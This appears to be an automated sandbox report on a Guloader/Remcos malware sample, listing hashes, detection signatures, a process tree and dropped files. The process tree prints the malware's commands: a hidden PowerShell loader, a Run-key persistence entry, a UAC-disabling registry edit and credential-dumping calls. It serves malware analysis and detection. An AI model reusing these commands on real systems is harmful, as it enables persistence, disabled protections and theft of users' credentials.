Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 01:26

General

  • Target

    4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7.exe

  • Size

    398KB

  • MD5

    b1c35e78f5d588430c4f534479def9f2

  • SHA1

    f787dd3327ca04361935f74867f76f16821db99f

  • SHA256

    4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7

  • SHA512

    5f78e6794ae313f5ca96c33fe0ecf0c882a18a93caa54bf92823ac42c5c753b6a98d4c77618de2b62cbc9d24e6e500272e4ffa7b25afff20b7e8349fc278a66c

  • SSDEEP

    12288:9GkmNVhJhqnfP30YhNia+nv4tQD3W/P19QY:9GkmPh7qfPrsQeD3W/bd

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • UAC bypass 3 TTPs 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7.exe
    "C:\Users\Admin\AppData\Local\Temp\4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Vangede=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid';$Spondylotomy=$Vangede.SubString(70479,3);.$Spondylotomy($Vangede)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Ortyginae" /t REG_EXPAND_SZ /d "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\Audiometeret\').Rudolph;%Monopolizables% ($masturbated)"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2348
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Ortyginae" /t REG_EXPAND_SZ /d "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\Audiometeret\').Rudolph;%Monopolizables% ($masturbated)"
            5⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:1520
        • C:\Windows\SysWOW64\cmd.exe
          /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3708
          • C:\Windows\SysWOW64\reg.exe
            C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
            5⤵
            • UAC bypass
            • Modifies registry key
            PID:1980
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\giryqlua"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1908
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jkfrrefcneq"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:2516
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tekbrwqvjmibira"
          4⤵
            PID:2624
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tekbrwqvjmibira"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1940

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\logs.dat

      Filesize

      144B

      MD5

      c7e24dbdc905b3ffe386e15f483fa702

      SHA1

      3a2455c25ef8cf2ece8108773f58eab16e392168

      SHA256

      395b65e62c584ba3243c7697b4a23acaccea886306cbe7b130aa1a17071c0ab9

      SHA512

      51ca989f7df911cabcbda1860d62164bb6d015cbd555e9cab5adb4ee0ea22c4868c0d8dbf2c71e86723d12fb3b02b9eeeaebb9f369f9b564c1bc77356e68cc1f

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m5twvdwu.4qn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\giryqlua

      Filesize

      4KB

      MD5

      982ebb238759653970e22ee9fad24470

      SHA1

      15fca6be8cc4a276c9f70a73f28c52c3b0eead15

      SHA256

      c8b9cad5602932ea51b923f39f4b2d9aedf1f4915880d89032ab6636acaf9bea

      SHA512

      c8777edf0dd3e72e0cf3bb89db2bc7856fed0eeca7199806fec341e9168899e3b700c73a6b2e7cb0e8ccc5523116d6ecfde5c9ebcc83288a162dd1b0ea78201b

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Boomless.Fag

      Filesize

      344KB

      MD5

      1a78d0f226d0db154812e61b8cadb4b8

      SHA1

      e76650e32ed8bc1e3d72dde1aa6566ff031e0c6e

      SHA256

      19997e372b58bcd5bacd8b199b1633307f0c89fc3ce7abfd4087ec739742f78e

      SHA512

      b06759e8bfeb73187c5277aaaa9c6489f51a88f42b461ec0775de6741f6b797dc3c2cbb8f6cf79815078a420a26cde9cedd861c4d16ac73a037e2160efc4ec41

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid

      Filesize

      68KB

      MD5

      d89dac6d6bcfb431c31bdf7d21f48fbd

      SHA1

      2f55f2b77da6a9078c7bb90fd87b205c9c4cf3b9

      SHA256

      ffeacf6c0a98133600a0f1de25732fb4b22b06af6921edd316e52a6d7837359b

      SHA512

      76eb9025c18fd7661cb72d47c7eda57a45304594e5aea32fe73b1dd94ec9db81753726f83e6d9f82924c3b9295eef4725dbaa7d633963ac8e8e91b7444346070

    • memory/1908-69-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1908-67-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1908-65-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1940-70-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1940-71-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1940-73-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2104-28-0x0000000006790000-0x00000000067DC000-memory.dmp

      Filesize

      304KB

    • memory/2104-50-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-31-0x00000000076F0000-0x0000000007712000-memory.dmp

      Filesize

      136KB

    • memory/2104-30-0x0000000006C20000-0x0000000006C3A000-memory.dmp

      Filesize

      104KB

    • memory/2104-32-0x0000000007CD0000-0x0000000008274000-memory.dmp

      Filesize

      5.6MB

    • memory/2104-9-0x000000007428E000-0x000000007428F000-memory.dmp

      Filesize

      4KB

    • memory/2104-34-0x0000000008900000-0x0000000008F7A000-memory.dmp

      Filesize

      6.5MB

    • memory/2104-36-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-37-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-38-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-27-0x00000000066F0000-0x000000000670E000-memory.dmp

      Filesize

      120KB

    • memory/2104-40-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-42-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-41-0x0000000008F80000-0x000000000BB1E000-memory.dmp

      Filesize

      43.6MB

    • memory/2104-44-0x000000007428E000-0x000000007428F000-memory.dmp

      Filesize

      4KB

    • memory/2104-45-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-46-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-29-0x0000000006C80000-0x0000000006D16000-memory.dmp

      Filesize

      600KB

    • memory/2104-10-0x0000000003110000-0x0000000003146000-memory.dmp

      Filesize

      216KB

    • memory/2104-19-0x0000000006120000-0x0000000006474000-memory.dmp

      Filesize

      3.3MB

    • memory/2104-12-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-11-0x0000000005870000-0x0000000005E98000-memory.dmp

      Filesize

      6.2MB

    • memory/2104-16-0x00000000060B0000-0x0000000006116000-memory.dmp

      Filesize

      408KB

    • memory/2104-15-0x0000000006040000-0x00000000060A6000-memory.dmp

      Filesize

      408KB

    • memory/2104-13-0x0000000074280000-0x0000000074A30000-memory.dmp

      Filesize

      7.7MB

    • memory/2104-14-0x0000000005730000-0x0000000005752000-memory.dmp

      Filesize

      136KB

    • memory/2516-72-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2516-68-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2516-66-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2696-79-0x0000000020B90000-0x0000000020BA9000-memory.dmp

      Filesize

      100KB

    • memory/2696-82-0x0000000020B90000-0x0000000020BA9000-memory.dmp

      Filesize

      100KB

    • memory/2696-83-0x0000000020B90000-0x0000000020BA9000-memory.dmp

      Filesize

      100KB

    • memory/2696-60-0x00000000022F0000-0x0000000004E8E000-memory.dmp

      Filesize

      43.6MB